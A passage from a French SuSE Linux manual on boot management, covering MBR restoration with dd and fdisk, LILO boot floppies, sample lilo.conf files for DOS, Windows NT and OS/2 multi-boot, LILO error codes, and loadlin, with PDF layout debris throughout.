plutôt sûre pour obtenir une || | |||||||| || | |||||||| perte massive de données ! || | ||||||||_______________________________________________________________________________________________________________||_ Le plus simple est de restaurer un MBR DOS, Windows ou OS/2. Cela se fait en utilisant la commande MS-DOS (disponible à partir de la version DOS 5.0) : * * 131 4. Amorçage et gestionnaires_d'amorçage___________________________________________________________________________________________* *_______________________________________@ C:\> fdisk /mbr ou, selon le cas, la commande OS/2 : C:\> fdisk /newmbr Ces commandes ne réécrivent que les 446 premiers octets (le code d'amor- çage) sur le MBR et laissent la table des partitions inchangée13 . Ne pas ou- blier : Marquez comme active (angl. bootable) avec fdisk la partition d'amor- çage que vous désirez à partir de maintenant ; les routines du MBR, de DOS, de Windows et d'OS/2 le requièrent ! Créez aussi une nouvelle sauvegarde supplémentaire du secteur LILO cri- tique ~ on n'est jamais trop sûr. Vérifiez ensuite ~ plutôt deux fois qu'une ;-) ~ que votre ancien fichier de sauvegarde est bien le bon et qu'il a une taille d'exactement 512 octets. Pour terminer, remettez-le en place. Ceci se fait avec les commandes suivantes (ne pas confondre if= et of= ! !) : ~ Si LILO réside sur la partition yyyy (par exemple hda1, hda2, : : :) : terre: # dd if=/dev/yyyy of=nouveau bs=512 count=1 terre: # dd if=sauvegarde of=/dev/yyyy ~ Si LILO réside sur le MBR du disque dur zzz (par exemple hda, sda) : terre: # dd if=/dev/zzz of=nouveau bs=512 count=1 terre: # dd if=sauvegarde of=/dev/zzz bs=446 count=1 La dernière commande est ``prudente'' et n'écrit pas dans la table des parti- tions. Ne pas oublier non plus ici : Marquez de nouveau comme active (angl. bootable) avec fdisk la partition de démarrage que vous désirez à partir de maintenant. Remarque : Vous avez constaté à quel point la sauvegarde d'un secteur d'amorçage est rapide ! Il est recommandé d'effectuer cette opération plus fréquemment. 4.6 Générer une disquette d'amorçage Linux Une disquette d'amorçage Linux est constituée ~ pour dire les choses de façon simplifiée - d'un ou de plusieurs noyaux Linux éventuellement gérés par LILO . Elle sert à démarrer votre système Linux sur le disque dur même lorsqu'il n'est plus possible d'amorcer directement à partir du disque. Les causes de ce problème peuvent être : MBR écrasé, gestionnaire d'amorçage mal configuré, erreurs lors de l'installation de LILO . Une telle disquette d'amorçage charge seulement le noyau : tout le reste (init , scripts de démarrage, programmes système importants) est requis par votre système et doit demeurer fonctionnel. On établit la liaison de la disquette d'amorçage avec le système sur le disque dur en configurant dans le noyau la partition racine concernée comme périphérique racine. Ceci ne doit pas être confondu avec les disquettes d'amorçage SuSE pour systèmes d'installation et de secours dont vous pouvez, à l'aide des fichiers 1_____________________________________________3 Sauf si le MBR ( page 118) est considéré dans sa totalité comme n'étant pas valide en raison d'un ``nombre magique'' erroné : la table des partitions est alors remplie de zéros ! ! 132 ____________________________________________________________4.6.__Générer_une_disquette_d'amorçage_Linux___________________* *_______________________ images (angl. image files) sous /disks sur le premier CD, créer à tout mo- ment de nouveaux exemplaires (voir paragraphe 16.5 page 438). Disquette d'amorçage sans LILO Si vous avez la chance que votre noyau n'ait besoin, lors du démarrage, d'aucune ligne de commande supplémentaire contenant des informations sur le matériel ou autres choses14 , la méthode la plus rapide pour obtenir une disquette d'amorçage pour votre système Linux consistera tout simplement à écrire votre noyau actuel sur une disquette vierge sans aucune défectuosité et, au cas où ce ne serait pas déjà fait, à configurer correctement le périphérique racine : terre: # /sbin/badblocks -v /dev/fd0 1440 terre: # dd if=votre noyau of=/dev/fd0 bs=18k terre: # rdev /dev/fd0 votre partition racine terre: # rdev -R /dev/fd0 1 La première commande vérifie si la disquette n'a pas de blocs défectueux (1 bloc = 1k). La dernière commande veille à ce que le noyau monte d'abord la partition racine, comme il se doit, en mode lecture seule (les scripts de démarrage du système y comptent). Disquette d'amorçage avec LILO Il est possible de générer une disquette d'amorçage plus attrayante avec mes- sage d'accueil, invite pour le noyau et les paramètres du noyau et autres goo- dies offerts par LILO en transcrivant sur une disquette le mécanisme complet de démarrage de LILO (voir page 121). Pour cela, la disquette a besoin d'un système de fichiers, de préférence minix . Pour prendre vous-même les choses en main, vous devez procéder de cette manière : ~ Créez, sur une disquette vierge, un système de fichiers minix ~ avec contrôle d'erreurs pour plus de sécurité ~ et si vous avez réussi, montez par exemple sous /mnt : terre: # /sbin/mkfs.minix -c /dev/fd0 1440 terre: # /bin/mount /dev/fd0 /mnt ~ Copiez vos fichiers de noyau et le fichier LILO /boot/boot.b vers /mnt (c'est-à-dire sur la disquette) ~ Optionnel : Créez un fichier /mnt/messages pour le message d'accueil. ~ Créez dans /mnt un propre fichier lilo.conf comme dans l'exemple donné par le (fichier 4.6.1 page suivante. Vous devez naturellement rem- placer Votre_périphérique_racine par la véritable partition racine : ~ Si vous utilisez initrd, vous devez aussi l'inscrire dans lilo.conf. Voir les informations du paragraphe 16.2.3 page 425. ~ Installez LILO avec ce lilo.conf : terre: # /sbin/lilo -C /mnt/lilo.conf 14 ____________________________________________________ Il s'agit ici du cas normal où vous avez compilé dans le noyau (``noyau monolitique'') le support pour le contrôleur de disque. * * 133 4. Amorçage et gestionnaires_d'amorçage___________________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|||| | # LILO Fichier de configuration Disquette d'amorçage * * | ||# Start LILO global Section * * || | boot=/dev/fd0 # Cible de l'installation: disquette * * | | install=/mnt/boot.b # Naturellement LILO et * * | | * * | | map=/mnt/map # Fichier map sur la disquette! * * | | message=/mnt/message # optionnel * * | | * * | | prompt * * | | timeout=100 # Attente à l'invite: 10 s. * * | | * * | | vga = normal # * * | | # End LILO global section * * | | * * | | # * * | | # Linux bootable partition config begins * * | | image = /mnt/vmlinuz # par défaut * * | | * * | | # partition racine par ici * * | | root = /dev/Votre_périphérique_racine * * | | * * | | label = linux * * | | # Linux bootable partition config ends * * | | * * | | # * * | | # Sections de système pour d'autre noyaux ici: * * | |_______________________________________________________________________________________________________* *________ | fichier 4.6.1: lilo.conf pour disquette d'amorçage ~ Démontez la disquette et vous avez terminé ! terre: # /bin/umount /mnt ~ Ne pas oublier : Faites un essai pour savoir si la disquette d'amorçage fonctionne vraiment :-) 4.7 Exemples de configurations Si votre nouveau Linux est seul sur la machine, il n'est pas nécessaire pour le moment d'agir. Le nécessaire a été fait avec YaST dans le cadre de l'installa- tion. Quelques exemples pour multisystèmes vont suivre. Voyez à ce sujet /usr/ doc/howto/en/mini/Linux+*.gz où des Linuxiens laborieux ont décrit leurs propres configurations multisystèmes. 4.7.1 DOS/Windows 95/98 et Linux Condition : DOS/Windows 95/98 et Linux doivent disposer chacun d'une propre partition sous la limite des 1024 cylindres (voir page 121). La partition d'amorçage Linux peut aussi être une partition logique à condition qu'elle soit située en totalité au dessous de la limite des 1024 cylindres. Pour ce cas, nous avons déjà parlé d'une configuration adéquate (voir fi- chier 4.4.1 page 125) ~ il n'y a plus qu'à adapter les spécifications pour root , image et other aux conditions réelles. LILO est installé sur le MBR. Vous laisserez bien sûr la section Linux.old de côté s'il n'existe pas un tel noyau Linux secondaire. Conservez bien le fichier /etc/lilo.conf et en plus une disquette d'amor- çage pour votre Linux ! Windows 95/98 a en effet tendance, en diverses oc- 134 __________________________________________________________________________________4.7.__Exemples_de_configurations__________* *______________________ casions, à éliminer les MBR ``étrangers'' sans autre forme de procès. Si vous pouvez encore après lancer Linux à l'aide d'une disquette d'amorçage, ce problème sera vite résolu par la simple commande terre: # /sbin/lilo 4.7.2 Windows NT et Linux sur un disque dur 1. Possibilité : Pour l'amorçage, on utilise le gestionnaire d'amorçage de NT. Celui-ci est capable d'initialiser non seulement les secteurs d'amorçage, mais aussi les fichiers images de ces secteurs d'amorçage. En faisant ce qui suit, il est possible d'amener Linux et Windows NT à cohabiter : ~ Installation de NT. ~ Tenez à votre disposition un support de données (partition de disque dur ou disquette sans aucune défectuosité) avec un système de fichiers sur lequel Linux peut écrire et que NT est capable de lire, par exemple FAT. ~ Installez Linux de la manière ``habituelle'' (comme partition racine nous prenons ici l'exemple /dev/sda3). Monter le support contenant le système de fichiers FAT (par exemple sous /dosa). Pour des in- formations d'ordre général sur le montage, voir paragraphe 19.11.2 page 500. Attention : ne pas utiliser les options mount conv=auto ou conv=text qui provoquent des altérations. ~ Installer LILO sur la partition racine (/dev/sda3) et non pas sur le MBR (/dev/sda) ! Vous avez tout comme avant la possibilité de confi- gurer pour LILO une sélection faite parmi plusieurs images du noyau Linux. Comme exemple pour un lilo.conf, voir fichier 4.7.1. _______________________________________________________________________________________________________________________|||| |||||||| # LILO Fichier de configuration: Rendre amorçable | |||||||| # la partition racine /dev/sda3 | |||||||| | |||||||| # Start LILO global Section | |||||||| boot=/dev/sda3 # cible de l'installation | |||||||| | |||||||| backup=/boot/boot.sda3.980428 # sauvegarde pour secteur | |||||||| # d'amorçage précédent | |||||||| | |||||||| prompt | |||||||| timeout=100 # Attente à l'invite: 10 s | |||||||| vga = normal # force sane state | |||||||| | |||||||| # End LILO global section | |||||||| # Linux bootable partition config begins | |||||||| | |||||||| image = /boot/vmlinuz # default image to boot | |||||||| root = /dev/sda3 # Partition racine par ici! | |||||||| | |||||||| label = Linux | |||||||| # Linux bootable partition config ends | ||||||||_______________________________________________________________________________________________________________ | fichier 4.7.1: lilo.conf pour rendre amorçable une partition racine Linux ~ Copiez le secteur d'amorçage de LILO dans un fichier sur le support de données FAT accessible à NT, par exemple terre: # dd if=/dev/sda3 of=/dosa/bootsek.lin bs=512 count=1 * * 135 4. Amorçage et gestionnaires_d'amorçage___________________________________________________________________________________________* *_______________________________________@ Cette opération, tout comme la suivante, doit bien sûr être recommen- cée après chaque mise à jour du noyau ! ~ Amorcez NT. Copiez le fichier bootsec.lin (que vous venez juste de créer) dans le répertoire principal de l'unité de disque du système NT (pour le cas où il n'y serait pas déjà). ~ Dans le fichier boot.ini (fixer les attributs) compléter l'entrée sui- vante à la fin : c:\bootsek.lin="Linux" ~ Lors du prochain amorçage, il devrait y avoir ~ si tout a bien marché ~ une entrée dans le gestionnaire d'amorçage de NT ! 2. Méthode possible bien que malheureusement pas toujours praticable : Installer LILO sur le MBR et agir avec Windows NT comme s'il était DOS (comme dans l'exemple précédent). Mais attention : Il semble que cela ne fonctionne plus pour les versions les plus récentes de NT qui, semble-il, ne démarre que s'il trouve sur le MBR des séquences spéciales (pour lesquelles il n'existe pas de documentation) et dont LILO ignore malheureusement tout :-( ________________________________________________________________________________________________________* *________|| | Windows NT (3.5* et 4.0) ne connaît pas les types de partitions 82 et 83 * * |||| | * * ||| | utilisés par Linux ! Veillez à ce qu'aucun programme NT ne ``répare'' la * * ||| | table des partitions dans ce sens : danger de perte de données ! Tenez à * * ||| | * * ||| | disposition, pour plus de sécurité, des sauvegardes valides du MBR de * * ||| | LILO . * * ||| |_______________________________________________________________________________________________________* *________|||_ 4.7.3 OS/2 et Linux 1. Possibilité : Pour amorcer, on utilise le gestionnaire d'amorçage d'OS/2. Il peut démarrer n'importe quelles partitions primaires et logiques dans la limite des 1024 cylindres ~ c'est à l'utilisateur qu'il incombe de veiller à ce qu'elles soient vraiment amorçables. Le gestionnaire d'amorçage est configuré avec le fdisk de OS/2. Préparation du côté de Linux : Une partition primaire Linux (habituel- lement la partition racine) est rendue amorçable avec LILO . Le même lilo.conf que dans le fichier 4.7.1 page précédente est propre à cet usage. Mais auparavant, il y a encore certaines choses à prendre en consi- dération : : :: Préparation du côté d'OS/2 : OS/2 ne se contente pas, pour la gestion des partitions présentes (sur les MBR des disques durs et sur les sec- teurs des partitions étendues et logiques) des entrées conventionnelles et généralement compréhensibles. Il utilise l'espace disponible sur ces sec- teurs pour le stockage d'informations complémentaires. Si celles-ci sont incohérentes, le fdisk de OS/2 considère la table des partitions comme er- ronée et refuse de remplir les fonctions de gestionnaire d'amorçage. Les programmes fdisk d'autres systèmes d'exploitation n'ont pas coutume de gérer de telles informations complémentaires : : : Des conflits sont donc à prévoir. Il convient par conséquent, avant l'installation de Linux, de charger OS/2 (le système d'installation est suffisant) et de créer les partitions Linux, du 136 __________________________________________________________________________________________4.8.__Problèmes_avec_LILO________* *_______________________ moins les partitions logiques avec le fdisk d'OS/2. Il en résulte, dans un premier temps, d'autres unités OS/2 qui peuvent éventuellement causer pas mal de perturbations. Solution : Charger immédiatement après le système d'installation de Li- nux (ou la disquette de secours) à partir du CD SuSE Linux et modifier à l'aide du fdisk de Linux le type de la partition Linux en 83 (Linux natif). Ainsi, ces partitions seront ignorées en bonne et due forme par OS/2. 2. Possibilité : En tant que gestionnaire d'amorçage principal, LILO est uti- lisé sur une partition primaire du premier disque15 . C'est un cas particulier de l'exemple qui va suivre et dans lequel DOS est également présent. 4.7.4 DOS, OS/2 et Linux 1. Si vous avez utilisé pour DOS et OS/2 le gestionnaire d'amorçage d'OS/2 et si vous voulez continuer à l'utiliser, le plus simple est d'inclure Linux dans son menu de démarrage : exactement comme il est décrit dans le dernier exemple. 2. Possibilité : En tant que gestionnaire d'amorçage principal, LILO est utilisé sur une partition primaire du premier disque. L'exemple compliqué qui va suivre pour lilo.conf (fichier 4.7.2 page suivante) présume que les partitions de démarrage pour DOS (partition primaire) et pour Linux (partition primaire) se trouvent sur le premier disque et que la partition de démarrage (logique) pour OS/2 est située sur le deuxième disque ~ chacune d'entre elles dans la limite des 1024 cylindres. OS/2 se trouve sur le deuxième disque, c'est pourquoi à la place de /boot/chain.b on utilise le chargeur spécial /boot/os2_d.b. Il est indifférent que le code du MBR provienne de MS-DOS ou d'OS/2. Dans la table des partitions, la partition LILO /dev/sda4 doit être mar- quée comme partition de démarrage (active) à l'aide du programme fdisk . 4.8 Problèmes avec LILO Quelques directives Commençons par quelques directives simples qui vous permettront d'éviter dès le début la plupart des problèmes liés à LILO (extrait du manuel de l'utilisateur [Alm96 ]) : ~ Pas de panique ! Si quelque chose ne fonctionne pas : essayez d'abord de retrouver l'erreur et d'en découvrir la cause ; vérifiez votre diagnostic avant de commencer à prendre des mesures pour y remédier. ~ Tenez toujours à disposition une ``disquette de boot'' actuelle et éprouvée. La disquette d'amorçage et le CD d'installation SuSE Linux contiennent, depuis la version 5.0, un système Linux autonome (système de secours, voir paragraphe 16.5 page 438), avec lequel vous pourrez de nouveau accéder à vos partitions Linux. Il contient suffisamment d'outils pour résoudre la plupart des problèmes posés par des disques durs qui ne sont plus accessibles. 15 ____________________________________________________ Moins effectif : le MBR, car chaque repartitionnement avec un fdisk étranger pourrait le réécrire et supprimer ainsi LILO . * * 137 4. Amorçage et gestionnaires_d'amorçage___________________________________________________________________________________________* *_______________________________________@ | * * | ________________________________________________________________________________________________________* *________|| | # LILO Fichier de configuration * * | | * * | | # Start LILO global Section * * | | boot = /dev/sda4 # LILO dans la partition racine Linux * * | | backup = /boot/boot.sda4.970428 * * | | * * | | message = /boot/message # Message d'accueil * * | | prompt * * | | * * | | delay = 100 * * | | vga = normal * * | | * * | | # * * | | # Linux bootable partition config begins * * | | * * | | image = /boot/vmlinuz * * | | label = linux * * | | * * | | root = /dev/sda4 * * | | # Linux bootable partition config ends * * | | # * * | | * * | | # OS/2 bootable partition config begins * * | | other = /dev/sdb5 * * | | * * | | table = /dev/sdb * * | | label = os2 * * | | * * | | loader = /boot/os2_d.b * * | | # New for LILO v20 and newer: interchange disk drives: * * | | * * | | map-drive = 0x80 # first hd: BIOS number 0x80 * * | | to = 0x81 # second hd: BIOS number 0x81 * * | | * * | | map-drive = 0x81 * * | | to = 0x80 * * | | # OS/2 bootable partition config ends * * | | * * | | # * * | | # DOS bootable partition config begins * * | | * * | | other = /dev/sda1 * * | | table = /dev/sda * * | | * * | | label = dos * * | | # DOS bootable partition config ends * * | |_______________________________________________________________________________________________________* *________ | fichier 4.7.2: LILO avec DOS, OS/2 et Linux sur deux disques durs ~ Lisez la documentation, surtout si le système ne fait pas ce qu'à votre avis il devrait faire. ~ Avant chaque appel du map-installer (/sbin/lilo) : vérifiez soigneuse- ment le fichier de configuration /etc/lilo.conf. ~ Invoquez /sbin/lilo à chaque fois qu'un élément du mécanisme de démarrage de LILO ou le fichier de configuration de LILO /etc/lilo. conf a été modifié. ~ La prudence est de rigueur si vous avez de grands disques ou plusieurs disques : tenez compte de la limite des 1024 cylindres ! ~ Faites un essai avec et sans option linear (il est le plus souvent préfé- rable de se passer de cette option !) 4.8.1 Diagnostic d'erreur : Message de démarrage de LILO Nous reprenons ici, en le traduisant, l'essentiel d'un paragraphe extrait de [Alm96 ] de la description faite par Werner Almesberger. 138 __________________________________________________________________________________________4.8.__Problèmes_avec_LILO_________* *______________________ Lorsque LILO est chargé, il affiche le mot `LILO'. Chaque lettre correspond à l'achèvement d'une phase spécifique. Lorsque LILO ne peut pas démarrer, les lettres déjà affichées montrent de façon précise à quel stade un problème est survenu. (rien) Aucune partie de LILO n'a été chargée. Ou LILO n'est pas du tout installé, ou la partition contenant le secteur d'amorçage de LILO n'a pas été initialisée. `L' error : : : Le ``premier niveau'' a été chargé et démarré mais le second niveau n'a pas pu être chargé (/boot/boot.b). Ceci laisse habituelle- ment supposer qu'on est en présence d'un défaut physique du support de données d'amorçage ou d'une incohérence dans la géométrie du disque. `LI' Le second niveau de LILO a été chargé mais n'a pas pu être démarré. Cela a pu être provoqué par une incohérence dans la géométrie du disque ou par le déplacement de /boot/boot.b sans réinstallation de LILO . `LIL' Le second niveau de LILO a été démarré mais n'a pas pu charger les données nécessaires (table de descripteurs etc.) depuis le fichier map. Ceci est typiquement provoqué par un défaut physique du support de données d'amorçage ou par une incohérence dans la géométrie du disque. `LIL ?' Le second niveau de LILO a été chargé à une adresse mémoire erronée. Ceci est typiquement provoqué par une incohérence subtile dans la géométrie du disque ou par le déplacement de /boot/boot.b sans nouvelle installation de LILO . `LIL-' Les données dans le fichier map sont corrompues. Ceci est typique- ment provoqué par une incohérence dans la géométrie du disque ou par le déplacement de /boot/boot.b sans nouvelle installation de LILO . `LILO' Toutes les parties de LILO ont été chargées avec succès. Les causes les plus courantes pour des incohérences dans la géométrie ne sont pas des défauts physiques ni des tables de partitions non valides mais des erreurs lors de l'installation de LILO : ~ non respect de la limite des 1024 cylindres (voir paragraphe suivant) ; ~ échec dans la tentative de démarrer avec LILO à partir d'une partition logique. 4.8.2 La limite des 1024 cylindres Comme nous l'avons déjà répété plusieurs fois ( page 121), la totalité du mécanisme de démarrage de LILO , c'est-à-dire l'ensemble des données dont LILO a besoin pour démarrer, doit être accessible avec les seules routines du BIOS. Nous avons déjà mentionné quels secteurs du disque dur peuvent être considérés comme adéquats (par la suite, nous parlerons simplement de secteurs admissibles). Quelles possibilités peut-on envisager avec ces restrictions ? En fait un bon nombre si l'on considère que seul le mécanisme de démarrage est concerné. Aucune règle ne prescrit que celui-ci doit être situé sur la partition racine de Linux : il est même possible, en cas de nécessité absolue, (bien que cela * * 139 4. Amorçage et gestionnaires_d'amorçage___________________________________________________________________________________________* *_______________________________________@ comporte certains risques) de transférer les fichiers concernant le démarrage sur les partitions d'autres systèmes d'exploitation à condition que Linux ait un accès en lecture et en écriture à leurs systèmes de fichiers. ________________________________________________________________________________________________________* *________|| | Vous devez seulement vous garder d'installer le secteur d'amorçage de * * |||| | LILO sur une partition étrangère car le système de fichiers de celle-ci serait * * ||| | * * ||| | très probablement détérioré ! * * ||| |_______________________________________________________________________________________________________* *________|||_ ~ La solution la plus correcte consiste à créer, lors de l'installation de Linux, une partition primaire Linux dans les limites du secteur admissible et d'y loger les données de LILO (y compris le secteur d'amorçage de LILO ). Cette partition est actuellement, dans la majeure partie des cas, la partition racine de Linux. Depuis la version 6.0 de SuSE Linux, une partition (/boot) séparée est prévue pour le cas d'une installation avec YaST . Cette partition a seulement la taille nécessaire pour contenir les fichiers suivants : ~ boot.b, map, messages, ~ les noyaux Linux que LILO doit amorcer. Il suffit donc de quelques méga-octets. Le reste du système ne subit plus aucune restriction concernant son emplacement sur le(s) disque(s) dur(s) : lorsque le noyau a commencé à tourner, il a un accès illimité à tous les disques durs du système. Mais que faire s'il n'y a plus de place pour une telle partition ? Si vous ne voulez pas ou ne pouvez pas repartitionner et s'il n'est pas non plus ques- tion d'envisager une mise à niveau (angl. upgrade) vers SCSI ou un BIOS moderne, il existe encore deux solutions de fortune : ~ Utiliser une disquette d'amorçage à la place de LILO sur le disque ou, si vous travaillez sous MS-DOS, amorcer Linux à l'aide de loadlin . ~ Placer tout ce qui constitue le mécanisme de démarrage de LILO sur une partition non Linux située dans les limites du secteur admissible et sur laquelle Linux peut écrire (par exemple une unité de disque DOS FAT/VFAT). Il n'est naturellement pas possible d'y écrire aussi le secteur d'amorçage de LILO ! Il ne reste donc plus pour cela que le début d'une partition étendue sur le premier disque ~ avant le 1024ème cylindre ~ ou le MBR. Supposons que la partition concernée soit montée sous /mnt. LILO doit être placé sur le MBR, par exemple /dev/hda et doit en plus amorcer DOS depuis /dev/hda1. La procédure se déroule ainsi : ~ Vous créez un nouveau répertoire, par exemple /mnt/LINUX et vous y copiez les fichiers LILO que nous venons de mentionner depuis /boot : boot.b, map, messages ainsi que les chargeurs (chain-loader) pour les autres systèmes d'exploitation (chain.b) et le noyau Linux que LILO doit amorcer. ~ Vous créez un /mnt/LINUX/lilo.cfg dans lequel tous les chemins d'accès pointent sur /mnt/LINUX (fichier 4.8.1 page ci-contre) : 140 __________________________________________________________________________________________4.8.__Problèmes_avec_LILO_________* *______________________|||| _______________________________________________________________________________________________________________________|||| |||||||| # LILO Fichier de configuration Répertoire étranger | |||||||||# Start LILO global Section || |||||||| boot=/dev/hda # Cible de l'installation | |||||||| backup=/mnt/LINUX/hda.xxxx # sauvegarde de l'ancier MBR | |||||||| | |||||||| install=/mnt/LINUX/boot.b # Naturellement LILO et | |||||||| map=/mnt/LINUX/map # fichier map dans /mnt/LINUX! | |||||||| | |||||||| message=/mnt/LINUX/message # optionnel | |||||||| prompt | |||||||| | |||||||| timeout=100 # Attente à l'invite: 10 s | |||||||| vga = normal # | |||||||| # End LILO global section | |||||||| | |||||||| # | |||||||| # Linux bootable partition config begins | |||||||| | |||||||| image = /mnt/LINUX/premier_noyau # par défaut | |||||||| root = /dev/Votre_périphérique_racine # partition | |||||||| | |||||||| # racine par ici! | |||||||| label = linux | |||||||| | |||||||| # Linux bootable partition config ends | |||||||| # | |||||||| | |||||||| # Sections de système pour autres noyaux ici: | |||||||| # | |||||||| # Fin de Linux | |||||||| | |||||||| # DOS bootable partition config begins | |||||||| other = /dev/hda1 # Unité de disque MSDOS | |||||||| | |||||||| label = dos | |||||||| loader = /mnt/LINUX/chain.b | |||||||| | |||||||| table = /dev/hda | |||||||| # DOS bootable partition config ends | ||||||||_______________________________________________________________________________________________________________ | fichier 4.8.1: lilo.cfg pour partition étrangère ~ Vous installez LILO avec ce lilo.cfg : terre: # /sbin/lilo -C /mnt/LINUX/lilo.cfg LILO devrait ensuite fonctionner. Amorcez MS-DOS et protégez les fichiers LILO , autant que faire se peut, contre les accès en écriture. (Rappel : chacun de ces accès met LILO hors fonction !). Assignez au moins les attributs DOS système et caché à tous les fichiers dans X:\LINUX (X : étant l'unité MS-DOS qui vient d'être montée sous /mnt). Pour terminer, nous tenons à attirer votre attention sur les deux HOWTO LILO.gz et Large-Disk.gz qui traitent ce sujet (/usr/doc/howto/en/ mini/). 4.8.3 Problèmes d'amorçage particuliers avec le noyau à partir de 2.0 Lors de l'amorçage avec LILO ~ que ce soit à partir d'une disquette ou d'un disque dur ~ il survient quelquefois des problèmes après le chargement d'un gros noyau (par exemple le noyau d'installation SuSE ) :-( Bien qu'il soit possible de sélectionner un noyau à l'invite de LILO et bien que le noyau soit aussi chargé (certains points sont affichés), il se peut que le * * 141 4. Amorçage et gestionnaires_d'amorçage___________________________________________________________________________________________* *_______________________________________@ démarrage ne se fasse pas. Cela signifie qu'avant le message "uncompres- sing Linux" le système se plante en réagissant de diverses manières. Messages ou symptômes d'erreurs possibles : ~ Le système amorce de nouveau ~ Le système demeure inerte ~ "crc-error" ~ "no free space" ~ "Error 0x00" ~ "Error 0x01" ~ "incomplete literal tree" Ensuite, on accède encore partiellement à la disquette mais le système ne bouge pas. La cause réside dans la combinaison d'un gros noyau, de LILO et d'un ma- tériel déficient. Ceci concerne environ 1 % des machines. Nous supposons qu'un BIOS défectueux a des difficultés à accéder rapide- ment à la mémoire. Ce problème ne survient pas si ~ Linux a été amorcé avec loadlin (paragraphe 4.9 page suivante), ~ le noyau a été copié sur une disquette par exemple avec terre: # dd if=/boot/vmlinuz of=/dev/fd0 et s'il est chargé directement à partir de celle-ci ~ un plus petit noyau qui a été créé avec terre: # make zImage est amorcé avec LILO . Les configurations de BIOS suivantes ont également pu amorcer sans pro- blème : ~ Mettre hors fonction (disable ) ``Internal Cache'' ~ DRAM Precharge Wait State sur 1 et ~ DRAM Wait Burst Timing auf 0x3333 Solution Tout d'abord, il est nécessaire qu'un système puisse être installé. Si vous ne pouvez pas amorcer directement avec loadlin (ou setup.exe ) vous devriez utiliser pour l'installation une vieille disquette d'amorçage 1.2.13. Si vous n'en avez pas à votre disposition, modifiez les paramètres du BIOS. Après une installation terminée avec succès, la question se pose de savoir comment amorcer le système. On amorce d'abord à partir du même support que pour l'installation. Avec loadlin à partir de la partition DOS, il n'y a au- cun problème. Avec une disquette d'amorçage, spécifiez comme paramètre : load_ramdisk=0 root=/dev/ est ici la partition racine, par exemple hda1. 142 ______________________________________________4.9.__Construire_un_mécanisme_d'amorçage_avec_loadlin_________________________* *______________________ 4.9 Construire un mécanisme d'amorçage avec loadlin Nous allons maintenant, avec loadlin , vous présenter une autre méthode d'amorçage de SuSE Linux. loadlin est un programme DOS capable de dé- marrer un noyau Linux stocké dans un répertoire DOS. loadlin s'intègre har- monieusement dans un environnement DOS/Windows 9x et peut être aisé- ment lancé à l'aide du gestionnaire d'amorçage de Windows. Aucune entrée n'étant faite dans le + MBR, Windows ne voit de Linux qu'une ou plusieurs partitions avec des identificateurs (angl. ID) qui lui sont inconnus. Le risque d'effets secondaires indésirables dus à la présence de Linux sur votre ma- chine devient ainsi minimal. La procédure décrite ici fonctionne aussi bien avec Windows 95 qu'avec Windows 98. Les fichiers de configuration qui vous sont présentés ont été développés sous Windows 95, c'est pourquoi il ne sera question ici que de Windows 95. Si vous voulez utiliser loadlin pour lancer Linux, vous devez préparer le chemin. Vous devez aussi, en fonction des caractéristiques de votre système, modifier certains fichiers de démarrage. Vous pouvez, en principe, activer loadlin de deux manières : en choisissant, lors du démarrage du système, entre plusieurs configurations dans le menu de démarrage ou en activant loadlin à partir du système en cours d'exécution et en passant à Linux. Ces deux méthodes ont leurs avantages et leurs inconvénients : ~ Le menu de démarrage vous évite de faire un détour par un autre système d'exploitation afin de pouvoir lancer Linux. ~ Dans un menu de démarrage, vous pouvez aussi inclure d'autres configu- rations et construire ainsi un mécanisme de démarrage universel. ~ Vous devez toutefois modifier les fichiers de démarrage pour créer un menu de démarrage ; pour cela, il est parfois nécessaire de faire quelques essais. Vous pouvez éventuellement trouver quelque chose dans les fi- chiers d'aide DOS en tapant help menu . ~ À l'invite du DOS, le passage à Linux est très facile. ~ Sous Windows 95, il est possible d'intégrer harmonieusement le méca- nisme de démarrage de Linux dans l'interface graphique. Un double clic sur une icône vous fait passer sous Linux. Mais un menu de démarrage est également possible sous Windows 95 (Windows 95 inclut DOS 7.0). Recommandation _______________________________________________________________________________________________________________________||| |||||||| || | |||||||| Utilisez, si possible, un menu de démarrage si vous voulez lancer Linux || | |||||||| directement après l'allumage de la machine. La méthode de l'invite du || | |||||||| || | |||||||| DOS ou du double clic peut aussi être utilisée en supplément si vous voulez || | |||||||| passer de DOS/Windows 95 à Linux. || | |||||||| || | |||||||| Il y aurait beaucoup à dire sur les menus de démarrage et la configuration || | |||||||| de Windows 95 et vous comprendrez que nous ne pouvons traiter ici que || | |||||||| || | |||||||| les grandes lignes de ces sujets. || | ||||||||_______________________________________________________________________________________________________________||_ * * 143 4. Amorçage et gestionnaires_d'amorçage___________________________________________________________________________________________* *_______________________________________@ 4.9.1 Fichiers indispensables pour loadlin Voici ce que vous devez toujours faire (sous DOS, Windows 3.x et Win- dowx 95) : 1. Vous avez probablement déjà installé loadlin (voir paragraphe 2.5.4 page 52). Si ce n'est pas le cas, vous devez d'abord l'installer à partir du CD 1 via setup . 2. Passez (sous MS-DOS) au dossier c :\loadlin . Il s'y trouve un fi- chier linux.par . Créez, à l'aide d'un éditeur, un fichier du nom de startlin.bat . (ou d'un autre nom qui vous convient). Écrivez dans ce fichier une ligne semblable par exemple à celle du fichier 4.9.1. ________________________________________________________________________________________________________* *________ | c:\loadlin\loadlin @c:\loadlin\linux.par * * | |_______________________________________________________________________________________________________* *________ | fichier 4.9.1: Exemple d'un fichier batch pour le démarrage de Linux Éditez maintenant, dans le fichier linux.par, la ligne suivante de la même manière que dans le fichier 4.9.2 ________________________________________________________________________________________________________* *________|| | c:\loadlin\zimage # la première valeur doit être * * | | * * | | # le nom de fichier du noyau Linux * * | | * * | | initrd=c:\loadlin\initrd * * | | * * | | * * | | root=/dev/xxx # le péripherique sera monté * * | | * * | | # comme système de fichiers racine (root) * * | | * * | | * * | | ro # monte root en lecture seule (read only) * * | |_______________________________________________________________________________________________________* *________ | fichier 4.9.2: Exemple d'un fichier de paramètres pour le démarrage de Linux À la place de xxx , vous entrerez le nom du périphérique de votre parti- tion racine (vous aviez déjà noté ce nom par écrit au paragraphe 2.10.2 page 77). Vous n'avez besoin de l'entrée initrd que si vous devez par exemple charger en plus le support SCSI directement lors de l'amorçage (au sujet du concept du disque virtuel initial (angl. initial ramdisk), voir le paragraphe 16.2 page 424). Avec le fichier startlin.bat, vous pou- vez à tout moment lancer Linux à l'invite du DOS. Le fichier linux.par est utilisé aussi bien par startlin.bat que par config.sys et contient tous les paramètres indispensables au lancement de Linux. Lorsque vous serez familiarisé avec Linux, vous pourrez ajouter et/ou remplacer des pa- ramètres dans 